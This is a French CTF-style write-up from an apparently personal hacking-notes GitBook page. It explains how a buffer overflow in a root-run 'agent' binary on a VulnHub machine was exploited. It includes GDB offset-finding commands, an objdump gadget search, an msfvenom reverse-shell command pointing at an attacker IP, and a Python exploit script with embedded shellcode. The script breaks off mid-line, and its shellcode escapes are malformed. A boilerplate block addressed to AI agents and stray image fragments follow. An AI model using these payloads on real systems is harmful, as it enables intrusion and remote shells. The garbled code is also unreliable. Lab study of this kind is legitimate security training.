> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).
# Buffer overflow Linux - binaire Agent
Notes de buffer overflow du binaire Agent Linux pour l’analyse de crash, la découverte des offsets, la construction de payloads et la validation de l’exploit dans des labos de type CTF.
{% hint style="info" %}
L'exploit suivant de buffer overflow résulte d'une élévation de privilèges sur une machine VulnHub. Le binaire vulnérable est un exécutable appelé « agent » sur un système Linux. Voici la procédure complète pour exploiter le dépassement de tampon :
{% endhint %}
## Exploitation du buffer overflow :
**Identification du binaire « agent » :**
* Utilisez le `rechercher` commande pour localiser le binaire nommé « agent » sur la machine.
* Le binaire 32 bits est trouvé avec un fichier texte indiquant son exécution par root sur le port 7788.
**Transfert du binaire avec Netcat :**
Utilisation de Netcat pour transférer le binaire de la machine vers l'équipement de l'attaquant.
**Analyse du code avec** [ghidra ](https://ghidra-sre.org/)**:**
* Utilisation du logiciel Ghidra pour analyser le code source du binaire.
* Identification de la variable « validcode » contenant l'ID du code en hexadécimal.
**Analyse du buffer overflow :**
En utilisant la fonction « report() », détecter une vulnérabilité de buffer overflow à l'aide de la fonction « gets ».
**Exploitation du buffer overflow avec GDB :**
* Création d'une chaîne de 200 caractères « A » pour tester le dépassement.
```python
python -c 'print("A"*200)'
```
Remarquez le remplacement du EIP (pointeur d'instruction) avec la commande « pattern create 200 ».
* Identification de l'offset avec la commande « pattern offset $eip ».
* Vérification avec une insertion d'une chaîne EIP de 168 A + 4 caractères B :
```python
python -c 'print("A"*168 + "B"*4)'
```
* Validation des protections avec la commande « checksec ».
**Vérification d'ASLR :**
Recherche des adresses statiques du binaire avec la commande « objdump -d agent | grep -i 'FF D0' ».
```bash
objdump -d agent | grep -i "FF D0"
```
**Création du shellcode pour le reverse shell :**
Utilisation de Metasploit pour générer un shellcode pour un reverse shell.
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```
**Script Python pour l'opération :**/ Écriture d'un script Python pour se connecter au service vulnérable et exploiter le buffer overflow.
```python
#!/usr/bin/python3
from struct import pack
import socket
shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/cf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")
offset = 168
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)